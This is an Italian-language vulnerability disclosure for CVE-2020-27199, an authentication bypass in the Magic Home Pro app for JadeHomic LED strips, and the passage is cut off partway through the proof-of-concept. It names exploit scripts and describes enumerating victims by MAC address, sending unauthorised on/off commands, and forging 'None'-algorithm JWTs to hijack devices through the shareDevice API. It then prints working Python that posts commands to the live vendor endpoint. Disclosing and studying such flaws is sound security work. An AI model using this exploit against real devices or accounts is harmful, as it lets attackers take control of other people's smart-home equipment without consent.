
CVE-2020-27199

Multiple vulnerabilità trovate nell'applicazione mobile Magic Home Pro utilizzata per interfacciarsi con il kit LED Strip RGB JadeHomic. La più significativa di queste vulnerabilità è un bypass dell'autenticazione (CVE-2020-27199), che consente in ultima analisi di prendere il controllo completo dell'intero gruppo di dispositivi di una vittima.
magichome-forge.py - Forgiatore JWT, utilizzato per automatizzare l'acquisizione del dispositivo
magichome-sniffer.py - Sniffer di rete locale che cerca dispositivi suscettibili nella rete. Crea un elenco di dispositivi su cui eseguire attacchi.
magichome-switch.py - Consente di accendere i dispositivi
magichome-takeover.py - Payload che consente l'acquisizione riuscita dell'account di un utente
Suzhou SmartChip Semiconductor Co.,Ltd
Questa vulnerabilità consente a qualsiasi utente autenticato di utilizzare il proprio livello di autorizzazione corrente per interrogare endpoint non appartenenti ai propri prodotti registrati, tramite una chiamata API a /app/getBindedUserListByMacAddress/ZG001?macAddress=<indirizzo mac>. Ciò si traduce in una risposta HTTP che indica l'esistenza dell'endpoint e restituisce il nome utente, l'identificativo univoco dell'utente (userUniID) e l'ID univoco associato (bindedUniID) dell'endpoint associato.
Utilizzando l'interrogazione precedente, un attaccante può quindi sfruttare una richiesta POST non autorizzata all'API /app/sendCommandBatch/ZG001, utilizzando l'indirizzo mac appena enumerato per inviare comandi all'endpoint remoto usando comandi hex compatibili 71230fa3 e 71240fa4 che attivano rispettivamente l'accensione e lo spegnimento.
Dopo aver completato l'enumerazione iniziale, è anche possibile forgiare un JWT utilizzando userID e uniID nei dati del payload JWT, di fatto declassando il token per utilizzare 'None' come algoritmo nella sezione header del JWT (vulnerabilità di bypass della firma). Sfruttando questa vulnerabilità, l'applicazione è suscettibile all'acquisizione del dispositivo da parte di un attaccante tramite una chiamata API remota a /app/shareDevice/ZG001 e utilizzando il parametro JSON friendUserID per aggiungere il dispositivo all'elenco dei dispositivi dell'attaccante, dando a quest'ultimo il controllo completo del dispositivo endpoint.
Crediti:
L'OUI descrive l'identificatore univoco dell'organizzazione per gli indirizzi MAC registrati presso un'organizzazione. Nel caso di JadeHomic, l'OUI magico è C8:2E:47, dove i primi tre byte corrispondono al produttore e i secondi tre byte corrispondono al numero di serie assegnato dal produttore. Nel nostro caso, l'identificatore del produttore è registrato presso Suzhou SmartChip Semiconductor Co., LTD.
Consente il bypass dell'autenticazione dell'applicazione mobile Magic Home Pro e quindi il controllo completo dell'intero gruppo di dispositivi di un utente vittima.
Il proof of concept enumera sugli ultimi byte all'interno del range MAC e restituisce i risultati. Permette di testare l'esecuzione remota se ci si sente audaci.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):